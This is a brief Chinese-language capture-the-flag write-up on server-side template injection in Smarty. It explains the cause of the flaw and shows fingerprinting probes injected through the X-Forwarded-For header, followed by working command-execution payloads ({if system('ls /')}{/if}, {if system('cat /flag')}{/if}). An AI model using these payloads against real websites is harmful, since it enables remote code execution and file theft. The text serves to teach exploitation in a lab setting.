SSTI:服务器端模板注入,也属于一种注入类型。与sql注入类似,也是通过凭借进行命令的执行,sql是和数据库的查询语句进行拼接。SSTI是在后端的渲染进行拼接,SSTI主要是运用在目前的网站框架下。
经过查询资料,SSTI漏洞产生的原因:
因为在函数渲染时,对于用户输入的变量没有进行渲染,才会导致漏洞的出现
在判断SSTI类型时,有一张图
后面用例题来演示
在利用SSTI注入时,在Smarty中一般用{php}{/php}标签来进行包裹执行php语句,在查询wp和一些资料后,得知{php}标签被强烈建议不使用,只有在SmartyBC中可用;
{if}标签和php中的if判断类似,而且可以正常使用php中的函数和符号,不过在使用时,要配上{/if}
题目给了提示,又是Smarty又是XFF,抓包试试xff更改ip
既然XFF可以更改ip的回显,那么可以构造XFF的内容来进行拼接(先判断SSTI类型)
${7*7}回显是$49,在进行下一步判断7{*comment*}7
说明是Smarty类型,可以开始包裹php语句进行查询了(除了加个{if}标签,还是用的php语句)
{if system('ls /')}{/if}
{if system('cat /flag')}{/if}
类似的题
[HDCTF 2023]SearchMaster(需要扫描后台)
[NISACTF 2022]midlevel